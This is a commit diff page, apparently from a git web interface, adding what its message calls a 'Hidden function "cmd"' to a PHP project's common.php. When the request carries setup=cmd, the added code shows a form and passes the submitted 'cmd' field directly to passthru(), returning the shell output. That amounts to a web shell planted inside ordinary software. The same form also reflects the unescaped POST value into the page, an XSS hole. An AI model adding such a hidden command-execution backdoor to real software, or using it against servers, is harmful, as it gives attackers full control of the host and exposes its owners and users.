add Hidden function "cmd"
parent
bdfee2c81b
commit
c7f4089b2a
34
common.php
34
common.php
|
@ -1307,6 +1307,40 @@ function EnvOpt($needUpdate = 0)
|
|||
$html .= '
|
||||
<a href="' . $preurl . '">' . getconstStr('Back') . '</a><br>
|
||||
';
|
||||
if ($_GET['setup']==='cmd') {
|
||||
$statusCode = 200;
|
||||
$html .= '
|
||||
<form name="form1" method="POST" action="">
|
||||
<input id="inputarea" name="cmd" style="width:100%" value="' . $_POST['cmd'] . '"><br>
|
||||
<input type="submit" value="post">
|
||||
</form>';
|
||||
if ($_POST['cmd']!='') {
|
||||
$html .= '
|
||||
<pre>';
|
||||
@ob_start();
|
||||
passthru($_POST['cmd'], $cmdstat);
|
||||
$html .= '
|
||||
stat: ' . $cmdstat . '
|
||||
output:
|
||||
|
||||
';
|
||||
if ($cmdstat>0) $statusCode = 400;
|
||||
if ($cmdstat===1) $statusCode = 403;
|
||||
if ($cmdstat===127) $statusCode = 404;
|
||||
$html .= htmlspecialchars(ob_get_clean());
|
||||
$html .= '</pre>';
|
||||
}
|
||||
$html .= '
|
||||
<script>
|
||||
setTimeout(function () {
|
||||
let inputarea = document.getElementById(\'inputarea\');
|
||||
//console.log(a + ", " + inputarea.value);
|
||||
inputarea.focus();
|
||||
inputarea.setSelectionRange(0, inputarea.value.length);
|
||||
}, 500);
|
||||
</script>';
|
||||
return message($html, 'Run cmd', $statusCode);
|
||||
}
|
||||
if ($_GET['setup']==='platform') {
|
||||
$frame .= '
|
||||
<table border=1 width=100%>
|
||||
|
|
Loading…
Reference in New Issue